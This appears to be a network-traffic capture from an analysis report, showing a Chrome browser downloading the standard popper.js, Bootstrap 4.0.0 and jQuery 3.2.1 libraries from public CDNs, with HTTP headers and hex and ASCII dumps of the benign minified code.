2025-01-13 15:44:55 UTC	1369	IN	Data Raw: 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 72 65 6d 6f 76 65 4f 6e 44 65 73 74 72 6f 79 26 26 74 68 69 73 2e 70 6f 70 70 65 72 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 74 68 69 73 2e 70 6f 70 70 65 72 29 2c 74 68 69 73 7d 66 75 6e 63 74 69 6f 6e 20 42 28 65 29 7b 76 61 72 20 74 3d 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3b 72 65 74 75 72 6e 20 74 3f 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 77 69 6e 64 6f 77 7d 66 75 6e 63 74 69 6f 6e 20 48 28 65 2c 74 2c 6f 2c 69 29 7b 76 61 72 20 72 3d 27 42 4f 44 59 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 2c 70 3d 72 3f 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 65 3b 70 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 74 2c 6f 2c 7b 70 61 Data Ascii: this.options.removeOnDestroy&&this.popper.parentNode.removeChild(this.popper),this}function B(e){var t=e.ownerDocument;return t?t.defaultView:window}function H(e,t,o,i){var r='BODY'===e.nodeName,p=r?e.ownerDocument.defaultView:e;p.addEventListener(t,o,{pa
2025-01-13 15:44:55 UTC	1369	IN	Data Raw: 65 74 75 72 6e 20 6f 3d 3d 3d 74 7d 29 2c 6e 3d 21 21 69 26 26 65 2e 73 6f 6d 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 6e 61 6d 65 3d 3d 3d 6f 26 26 65 2e 65 6e 61 62 6c 65 64 26 26 65 2e 6f 72 64 65 72 3c 69 2e 6f 72 64 65 72 7d 29 3b 69 66 28 21 6e 29 7b 76 61 72 20 72 3d 27 60 27 2b 74 2b 27 60 27 3b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 27 60 27 2b 6f 2b 27 60 27 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 73 20 72 65 71 75 69 72 65 64 20 62 79 20 27 2b 72 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 6e 20 6f 72 64 65 72 20 74 6f 20 77 6f 72 6b 2c 20 62 65 20 73 75 72 65 20 74 6f 20 69 6e 63 6c 75 64 65 20 69 74 20 62 65 66 6f 72 65 20 27 2b 72 2b 27 21 27 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 4b 28 65 29 7b 72 Data Ascii: eturn o===t}),n=!!i&&e.some(function(e){return e.name===o&&e.enabled&&e.order<i.order});if(!n){var r='`'+t+'`';console.warn('`'+o+'`'+' modifier is required by '+r+' modifier in order to work, be sure to include it before '+r+'!')}return n}function K(e){r
2025-01-13 15:44:55 UTC	1369	IN	Data Raw: 65 74 75 72 6e 27 27 3d 3d 3d 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 26 26 2d 31 21 3d 3d 5b 27 2b 27 2c 27 2d 27 5d 2e 69 6e 64 65 78 4f 66 28 74 29 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 3d 74 2c 70 3d 21 30 2c 65 29 3a 70 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 2b 3d 74 2c 70 3d 21 31 2c 65 29 3a 65 2e 63 6f 6e 63 61 74 28 74 29 7d 2c 5b 5d 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 56 28 65 2c 6e 2c 74 2c 6f 29 7d 29 7d 29 2c 61 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 65 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 69 29 7b 55 28 6f 29 26 26 28 6e 5b 74 5d 2b 3d 6f 2a 28 27 2d 27 3d 3d 3d 65 5b 69 2d 31 5d 3f 2d 31 3a 31 29 29 7d 29 7d 29 2c 6e 7d 66 75 6e 63 74 69 Data Ascii: eturn''===e[e.length-1]&&-1!==['+','-'].indexOf(t)?(e[e.length-1]=t,p=!0,e):p?(e[e.length-1]+=t,p=!1,e):e.concat(t)},[]).map(function(e){return V(e,n,t,o)})}),a.forEach(function(e,t){e.forEach(function(o,i){U(o)&&(n[t]+=o*('-'===e[i-1]?-1:1))})}),n}functi
2025-01-13 15:44:55 UTC	1369	IN	Data Raw: 65 74 75 72 6e 20 6f 26 26 65 28 74 2e 70 72 6f 74 6f 74 79 70 65 2c 6f 29 2c 69 26 26 65 28 74 2c 69 29 2c 74 7d 7d 28 29 2c 70 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 29 7b 72 65 74 75 72 6e 20 74 20 69 6e 20 65 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 74 2c 7b 76 61 6c 75 65 3a 6f 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 7d 29 3a 65 5b 74 5d 3d 6f 2c 65 7d 2c 73 65 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6f 3d 31 3b 6f 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 66 6f 72 28 76 61 72 20 69 20 69 6e 20 74 3d 61 72 67 75 6d 65 6e 74 73 Data Ascii: eturn o&&e(t.prototype,o),i&&e(t,i),t}}(),pe=function(e,t,o){return t in e?Object.defineProperty(e,t,{value:o,enumerable:!0,configurable:!0,writable:!0}):e[t]=o,e},se=Object.assign\|\|function(e){for(var t,o=1;o<arguments.length;o++)for(var i in t=arguments

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49746	104.18.10.207	443	4548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 15:44:55 UTC	382	OUT	GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1 Host: maxcdn.bootstrapcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 15:44:55 UTC	967	IN	HTTP/1.1 200 OK Date: Mon, 13 Jan 2025 15:44:55 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: US Vary: Accept-Encoding Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 ETag: W/"14d449eb8876fa55e1ef3c2cc52b0c17" Last-Modified: Mon, 25 Jan 2021 22:04:04 GMT CDN-ProxyVer: 1.06 CDN-RequestPullSuccess: True CDN-RequestPullCode: 200 CDN-CachedAt: 12/04/2024 01:55:10 CDN-EdgeStorageId: 1067 timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-Status: 200 CDN-RequestTime: 0 CDN-RequestId: 55ff1487c6071501927da70bb950f7b5 CDN-Cache: HIT CF-Cache-Status: HIT Age: 1395275 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 901682ad4e6543ed-EWR alt-svc: h3=":443"; ma=86400
2025-01-13 15:44:55 UTC	402	IN	Data Raw: 37 62 65 63 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 30 2e 30 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 74 Data Ascii: 7bec/! Bootstrap v4.0.0 (https://getbootstrap.com) * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */!function(t
2025-01-13 15:44:55 UTC	1369	IN	Data Raw: 66 69 6e 65 28 5b 22 65 78 70 6f 72 74 73 22 2c 22 6a 71 75 65 72 79 22 2c 22 70 6f 70 70 65 72 2e 6a 73 22 5d 2c 65 29 3a 65 28 74 2e 62 6f 6f 74 73 74 72 61 70 3d 7b 7d 2c 74 2e 6a 51 75 65 72 79 2c 74 2e 50 6f 70 70 65 72 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 69 3d 65 5b 6e 5d 3b 69 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 69 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 69 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 69 26 26 28 69 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 Data Ascii: fine(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,n){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defi
2025-01-13 15:44:55 UTC	1369	IN	Data Raw: 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 74 28 6e 29 2e 74 72 69 67 67 65 72 28 65 2e 65 6e 64 29 7d 2c 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 42 6f 6f 6c 65 61 6e 28 65 29 7d 2c 69 73 45 6c 65 6d 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 28 74 5b 30 5d 7c 7c 74 29 2e 6e 6f 64 65 54 79 70 65 7d 2c 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 66 6f 72 28 76 61 72 20 73 20 69 6e 20 6e 29 69 66 28 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 6e 2c 73 29 29 7b 76 61 72 20 72 3d 6e 5b 73 5d 2c 6f 3d 65 5b 73 5d 2c 61 3d 6f 26 26 69 2e 69 73 45 Data Ascii: :function(n){t(n).trigger(e.end)},supportsTransitionEnd:function(){return Boolean(e)},isElement:function(t){return(t[0]\|\|t).nodeType},typeCheckConfig:function(t,e,n){for(var s in n)if(Object.prototype.hasOwnProperty.call(n,s)){var r=n[s],o=e[s],a=o&&i.isE
2025-01-13 15:44:55 UTC	1369	IN	Data Raw: 72 20 65 3d 6f 2e 45 76 65 6e 74 28 75 2e 43 4c 4f 53 45 29 3b 72 65 74 75 72 6e 20 6f 28 74 29 2e 74 72 69 67 67 65 72 28 65 29 2c 65 7d 2c 65 2e 5f 72 65 6d 6f 76 65 45 6c 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 6f 28 74 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 5f 29 2c 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 6f 28 74 29 2e 68 61 73 43 6c 61 73 73 28 64 29 3f 6f 28 74 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 65 2e 5f 64 65 73 74 72 6f 79 45 6c 65 6d 65 6e 74 28 74 2c 6e 29 7d 29 2e 65 6d 75 6c 61 74 65 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 31 35 30 29 3a 74 68 69 73 2e 5f 64 65 Data Ascii: r e=o.Event(u.CLOSE);return o(t).trigger(e),e},e._removeElement=function(t){var e=this;o(t).removeClass(_),P.supportsTransitionEnd()&&o(t).hasClass(d)?o(t).one(P.TRANSITION_END,function(n){return e._destroyElement(t,n)}).emulateTransitionEnd(150):this._de
2025-01-13 15:44:55 UTC	1369	IN	Data Raw: 26 26 70 28 73 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 43 29 7d 69 66 28 74 29 7b 69 66 28 69 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6e 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 69 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6e 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 29 72 65 74 75 72 6e 3b 69 2e 63 68 65 63 6b 65 64 3d 21 70 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 43 29 2c 70 28 69 29 2e 74 72 69 67 67 65 72 28 22 63 68 61 6e 67 65 22 29 7d 69 2e 66 6f 63 75 73 28 29 2c 65 3d 21 31 7d 7d 65 26 26 74 68 69 73 2e 5f 65 6c 65 6d 65 6e Data Ascii: &&p(s).removeClass(C)}if(t){if(i.hasAttribute("disabled")\|\|n.hasAttribute("disabled")\|\|i.classList.contains("disabled")\|\|n.classList.contains("disabled"))return;i.checked=!p(this._element).hasClass(C),p(i).trigger("change")}i.focus(),e=!1}}e&&this._elemen
2025-01-13 15:44:55 UTC	1369	IN	Data Raw: 22 6d 6f 75 73 65 65 6e 74 65 72 22 2b 69 2c 4d 4f 55 53 45 4c 45 41 56 45 3a 22 6d 6f 75 73 65 6c 65 61 76 65 22 2b 69 2c 54 4f 55 43 48 45 4e 44 3a 22 74 6f 75 63 68 65 6e 64 22 2b 69 2c 4c 4f 41 44 5f 44 41 54 41 5f 41 50 49 3a 22 6c 6f 61 64 22 2b 69 2b 22 2e 64 61 74 61 2d 61 70 69 22 2c 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 3a 22 63 6c 69 63 6b 22 2b 69 2b 22 2e 64 61 74 61 2d 61 70 69 22 7d 2c 5f 3d 22 63 61 72 6f 75 73 65 6c 22 2c 67 3d 22 61 63 74 69 76 65 22 2c 70 3d 22 73 6c 69 64 65 22 2c 6d 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 72 69 67 68 74 22 2c 76 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 6c 65 66 74 22 2c 45 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 6e 65 78 74 22 2c 54 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 Data Ascii: "mouseenter"+i,MOUSELEAVE:"mouseleave"+i,TOUCHEND:"touchend"+i,LOAD_DATA_API:"load"+i+".data-api",CLICK_DATA_API:"click"+i+".data-api"},_="carousel",g="active",p="slide",m="carousel-item-right",v="carousel-item-left",E="carousel-item-next",T="carousel-ite
2025-01-13 15:44:55 UTC	1369	IN	Data Raw: 61 6c 29 2c 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 3d 6e 75 6c 6c 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 61 6c 26 26 21 74 68 69 73 2e 5f 69 73 50 61 75 73 65 64 26 26 28 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 3d 73 65 74 49 6e 74 65 72 76 61 6c 28 28 64 6f 63 75 6d 65 6e 74 2e 76 69 73 69 62 69 6c 69 74 79 53 74 61 74 65 3f 74 68 69 73 2e 6e 65 78 74 57 68 65 6e 56 69 73 69 62 6c 65 3a 74 68 69 73 2e 6e 65 78 74 29 2e 62 69 6e 64 28 74 68 69 73 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 61 6c 29 29 7d 2c 43 2e 74 6f 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 74 68 69 73 3b 74 68 69 73 2e 5f 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 3d 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 66 69 6e Data Ascii: al),this._interval=null),this._config.interval&&!this._isPaused&&(this._interval=setInterval((document.visibilityState?this.nextWhenVisible:this.next).bind(this),this._config.interval))},C.to=function(e){var n=this;this._activeElement=t(this._element).fin
2025-01-13 15:44:55 UTC	1369	IN	Data Raw: 66 28 21 2f 69 6e 70 75 74 7c 74 65 78 74 61 72 65 61 2f 69 2e 74 65 73 74 28 74 2e 74 61 72 67 65 74 2e 74 61 67 4e 61 6d 65 29 29 73 77 69 74 63 68 28 74 2e 77 68 69 63 68 29 7b 63 61 73 65 20 33 37 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 70 72 65 76 28 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 33 39 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 6e 65 78 74 28 29 7d 7d 2c 43 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 69 74 65 6d 73 3d 74 2e 6d 61 6b 65 41 72 72 61 79 28 74 28 65 29 2e 70 61 72 65 6e 74 28 29 2e 66 69 6e 64 28 79 2e 49 54 45 4d 29 29 2c 74 68 69 73 2e 5f 69 74 65 6d 73 2e 69 6e 64 65 78 4f 66 28 65 29 Data Ascii: f(!/input\|textarea/i.test(t.target.tagName))switch(t.which){case 37:t.preventDefault(),this.prev();break;case 39:t.preventDefault(),this.next()}},C._getItemIndex=function(e){return this._items=t.makeArray(t(e).parent().find(y.ITEM)),this._items.indexOf(e)
2025-01-13 15:44:55 UTC	1369	IN	Data Raw: 6e 74 28 64 2e 53 4c 49 44 2c 7b 72 65 6c 61 74 65 64 54 61 72 67 65 74 3a 63 2c 64 69 72 65 63 74 69 6f 6e 3a 72 2c 66 72 6f 6d 3a 6c 2c 74 6f 3a 5f 7d 29 3b 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 70 29 3f 28 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 73 29 2c 50 2e 72 65 66 6c 6f 77 28 63 29 2c 74 28 61 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 61 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 74 28 63 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 69 2b 22 20 22 2b 73 29 2e 61 64 64 43 6c 61 73 73 28 67 29 2c 74 28 61 29 2e 72 65 Data Ascii: nt(d.SLID,{relatedTarget:c,direction:r,from:l,to:_});P.supportsTransitionEnd()&&t(this._element).hasClass(p)?(t(c).addClass(s),P.reflow(c),t(a).addClass(i),t(c).addClass(i),t(a).one(P.TRANSITION_END,function(){t(c).removeClass(i+" "+s).addClass(g),t(a).re
2025-01-13 15:44:55 UTC	1369	IN	Data Raw: 5f 44 41 54 41 5f 41 50 49 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 74 28 79 2e 44 41 54 41 5f 52 49 44 45 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 28 74 68 69 73 29 3b 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 65 2c 65 2e 64 61 74 61 28 29 29 7d 29 7d 29 2c 74 2e 66 6e 5b 65 5d 3d 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 74 2e 66 6e 5b 65 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 43 2c 74 2e 66 6e 5b 65 5d 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 2e 66 6e 5b 65 5d 3d 6f 2c 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 43 7d 28 65 29 2c 48 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 22 63 6f 6c 6c 61 70 Data Ascii: _DATA_API,function(){t(y.DATA_RIDE).each(function(){var e=t(this);C._jQueryInterface.call(e,e.data())})}),t.fn[e]=C._jQueryInterface,t.fn[e].Constructor=C,t.fn[e].noConflict=function(){return t.fn[e]=o,C._jQueryInterface},C}(e),H=function(t){var e="collap

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49747	151.101.66.137	443	4548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 15:44:55 UTC	363	OUT	GET /jquery-3.2.1.slim.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 15:44:55 UTC	612	IN	HTTP/1.1 200 OK Connection: close Content-Length: 69597 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-10fdd" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 1300500 Date: Mon, 13 Jan 2025 15:44:55 GMT X-Served-By: cache-lga21984-LGA, cache-ewr-kewr1740035-EWR X-Cache: HIT, HIT X-Cache-Hits: 507, 0 X-Timer: S1736783096.932911,VS0,VE1 Vary: Accept-Encoding
2025-01-13 15:44:55 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 32 2e 31 20 2d 61 6a 61 78 2c 2d 61 6a 61 78 2f 6a 73 6f 6e 70 2c 2d 61 6a 61 78 2f 6c 6f 61 64 2c 2d 61 6a 61 78 2f 70 61 72 73 65 58 4d 4c 2c 2d 61 6a 61 78 2f 73 63 72 69 70 74 2c 2d 61 6a 61 78 2f 76 61 72 2f 6c 6f 63 61 74 69 6f 6e 2c 2d 61 6a 61 78 2f 76 61 72 2f 6e 6f 6e 63 65 2c 2d 61 6a 61 78 2f 76 61 72 2f 72 71 75 65 72 79 2c 2d 61 6a 61 78 2f 78 68 72 2c 2d 6d 61 6e 69 70 75 6c 61 74 69 6f 6e 2f 5f 65 76 61 6c 55 72 6c 2c 2d 65 76 65 6e 74 2f 61 6a 61 78 2c 2d 65 66 66 65 63 74 73 2c 2d 65 66 66 65 63 74 73 2f 54 77 65 65 6e 2c 2d 65 66 66 65 63 74 73 2f 61 6e 69 6d 61 74 65 64 53 65 6c 65 63 74 6f 72 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e Data Ascii: /*! jQuery v3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector \| (c) JS Foundation and other con
2025-01-13 15:44:55 UTC	1378	IN	Data Raw: 5b 61 5d 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 72 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 61 29 3b 72 65 74 75 72 6e 20 62 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 62 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 72 2e 65 61 63 68 28 74 68 69 73 2c 61 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 72 2e 6d 61 70 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 72 65 74 75 72 6e 20 61 2e 63 61 6c 6c 28 62 2c 63 2c 62 29 7d 29 29 7d 2c 73 6c 69 63 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 Data Ascii: [a]},pushStack:function(a){var b=r.merge(this.constructor(),a);return b.prevObject=this,b},each:function(a){return r.each(this,a)},map:function(a){return this.pushStack(r.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushSta
2025-01-13 15:44:55 UTC	1378	IN	Data Raw: 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 3d 6b 2e 63 61 6c 6c 28 61 29 29 26 26 28 21 28 62 3d 65 28 61 29 29 7c 7c 28 63 3d 6c 2e 63 61 6c 6c 28 62 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 26 26 62 2e 63 6f 6e 73 74 72 75 63 74 6f 72 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 63 26 26 6d 2e 63 61 6c 6c 28 63 29 3d 3d 3d 6e 29 29 7d 2c 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3b 66 6f 72 28 62 20 69 6e 20 61 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 74 79 70 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 61 3f 61 2b 22 22 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 61 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 Data Ascii: ject Object]"!==k.call(a))&&(!(b=e(a))\|\|(c=l.call(b,"constructor")&&b.constructor,"function"==typeof c&&m.call(c)===n))},isEmptyObject:function(a){var b;for(b in a)return!1;return!0},type:function(a){return null==a?a+"":"object"==typeof a\|\|"function"==typ
